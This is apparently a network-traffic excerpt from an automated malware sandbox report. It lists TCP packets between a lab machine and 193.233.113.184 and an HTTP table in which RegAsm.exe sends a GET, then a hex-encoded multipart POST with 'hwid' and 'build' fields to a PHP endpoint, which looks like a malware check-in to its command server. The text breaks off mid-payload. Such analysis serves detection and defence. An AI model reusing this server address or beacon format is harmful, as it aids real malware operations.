Sep 24, 2024 21:30:13.323707104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323714018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.323714018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.323714972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323721886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323731899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323751926 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323762894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323772907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323777914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.323777914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.323784113 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323796034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323807955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323827028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323837996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323847055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.323848009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.323848009 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.323895931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.323895931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.324642897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.324654102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.324666023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.324677944 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.324691057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.324703932 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.324709892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.324709892 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.324716091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.324728012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.324740887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.324754000 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.324769974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.324769974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.325113058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.412669897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.412856102 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.451849937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.456934929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.663991928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664037943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664098978 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664107084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664107084 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664134979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664170027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664182901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664182901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664206028 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664218903 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664259911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664274931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664295912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664330006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664366961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664377928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664406061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664441109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664453983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664453983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664474964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664511919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664529085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664529085 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664546013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664555073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664582014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664614916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664634943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664634943 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664668083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664720058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664720058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664722919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664756060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664792061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664802074 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664803028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664825916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664861917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664875031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664875031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664896965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664931059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664943933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664943933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.664967060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.664982080 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665002108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665038109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665049076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665049076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665075064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665108919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665118933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665143013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665154934 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665155888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665179014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665203094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665214062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665247917 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665260077 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665261030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665283918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665317059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665329933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665329933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665353060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665390015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665402889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665402889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665437937 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665447950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665522099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665558100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665591955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665627003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665640116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665640116 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665656090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665689945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665699959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665699959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665745020 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665780067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665793896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665793896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665812969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665848017 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665864944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665864944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665884018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665916920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665931940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665931940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665951014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665985107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.665996075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.665996075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666021109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666054964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666063070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666063070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666090012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666100025 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666146040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666574001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666610003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666651011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666659117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666659117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666685104 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666697979 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666739941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666769981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666775942 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666812897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666825056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666825056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666846991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666881084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666903019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666903019 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666913986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666949034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.666954994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666954994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.666985989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.667020082 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.667032957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.667032957 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.667053938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.667090893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.667104959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.667104959 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.667156935 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.939697981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.939732075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:13.944618940 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:13.944633007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.158459902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.158631086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.188218117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.196836948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.404448032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.404512882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.404545069 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.404573917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.404573917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.404624939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.408747911 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.418880939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.628686905 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.628762960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.639343023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.644793034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.854631901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.854701042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.951783895 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.951848984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.957762957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.957789898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.957804918 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.957823992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.957837105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.957842112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.957842112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.957850933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.957861900 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.957870007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.957886934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.957900047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.957917929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.957950115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.958125114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.958168030 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.963119030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963166952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.963243008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963255882 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963272095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963291883 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.963315010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.963406086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963419914 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963491917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.963534117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963546991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963578939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.963589907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963598967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.963603973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963638067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.963857889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963880062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963893890 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963907957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.963911057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.963932991 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.963949919 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.970500946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970515013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970527887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970540047 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970552921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970554113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.970566034 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970576048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:14.970593929 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970607042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970621109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970634937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970648050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970660925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970674038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970685005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970699072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970711946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970724106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970736980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970750093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970762014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970774889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970788956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970801115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970813990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970829964 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970834970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970848083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970859051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970871925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970885038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970899105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970926046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970938921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970951080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970963955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970976114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970988035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.970999002 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.971012115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.975318909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.975332975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.975358963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.975372076 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.975399971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.975415945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.975441933 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.975454092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.975461006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.975987911 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.976001024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.976005077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.976010084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.976174116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.976186037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.976197958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:14.976210117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:15.427220106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:15.427956104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:15.432226896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:15.437169075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:15.645538092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:15.645648956 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:15.656333923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:15.661215067 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:16.852557898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:16.852622986 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:19.849895954 CEST	49730	80	192.168.2.4	193.233.113.184

HTTP Request Dependency Graph

193.233.113.184

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.233.113.184	80	7420	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 24, 2024 21:30:02.636497974 CEST	90	OUT	GET / HTTP/1.1 Host: 193.233.113.184 Connection: Keep-Alive Cache-Control: no-cache
Sep 24, 2024 21:30:03.319282055 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 24 Sep 2024 19:30:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 24, 2024 21:30:03.322360992 CEST	419	OUT	POST /6d687e53250c2111.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJK Host: 193.233.113.184 Content-Length: 217 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 45 45 34 38 31 38 35 43 41 36 36 31 39 36 34 31 31 36 33 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 